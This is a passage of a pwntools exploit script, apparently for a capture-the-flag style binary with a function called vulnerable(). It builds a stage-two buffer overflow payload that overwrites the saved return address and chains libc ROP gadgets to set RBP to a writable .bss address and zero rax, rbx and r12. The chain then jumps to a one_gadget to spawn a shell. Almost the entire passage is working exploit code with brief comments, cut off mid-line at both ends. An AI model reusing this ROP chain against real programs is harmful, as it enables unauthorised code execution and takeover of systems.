{hex(one_gadget)}") # Wait for prompt (program returned to main, runs vulnerable() again) p.recvuntil(b'Enter input: ') # For one_gadget, we need valid RBP (rbp-0x50 must be writable) # Our overflow corrupted RBP to 0x4141... # Fix: set RBP to a writable address (like stack) before one_gadget libc_rop = ROP(libc) # Find gadgets pop_rax = libc_rop.find_gadget(['pop rax', 'ret']) pop_rbx = libc_rop.find_gadget(['pop rbx', 'ret']) pop_r12 = libc_rop.find_gadget(['pop r12', 'ret']) pop_rbp = libc_rop.find_gadget(['pop rbp', 'ret']) # Use a writable address for RBP - use a known writable section # .bss section in the binary is always writable writable_addr = elf.bss() + 0x200 # Some offset into .bss stage2 = b'A' * OFFSET stage2 += p64(ret) # Stack alignment # Fix RBP to point to writable memory (CRITICAL for one_gadget!) if pop_rbp: stage2 += p64(pop_rbp[0]) stage2 += p64(writable_addr + 0x80) # rbp = writable addr + margin # Set rax = 0 (for one_gadget constraints) if pop_rax: stage2 += p64(pop_rax[0]) stage2 += p64(0) # rax = NULL # Set rbx = 0 and r12 = 0 (for other one_gadget constraints) if pop_rbx: stage2 += p64(pop_rbx[0]) stage2 += p64(0) # rbx = NULL if pop_r12: stage2 += p64(pop_r12[0]) stage2 += p64(0) # r12 = NULL log.info(f"RBP set to writable: {hex(writable_addr + 0x80)}") stage2 += p64(one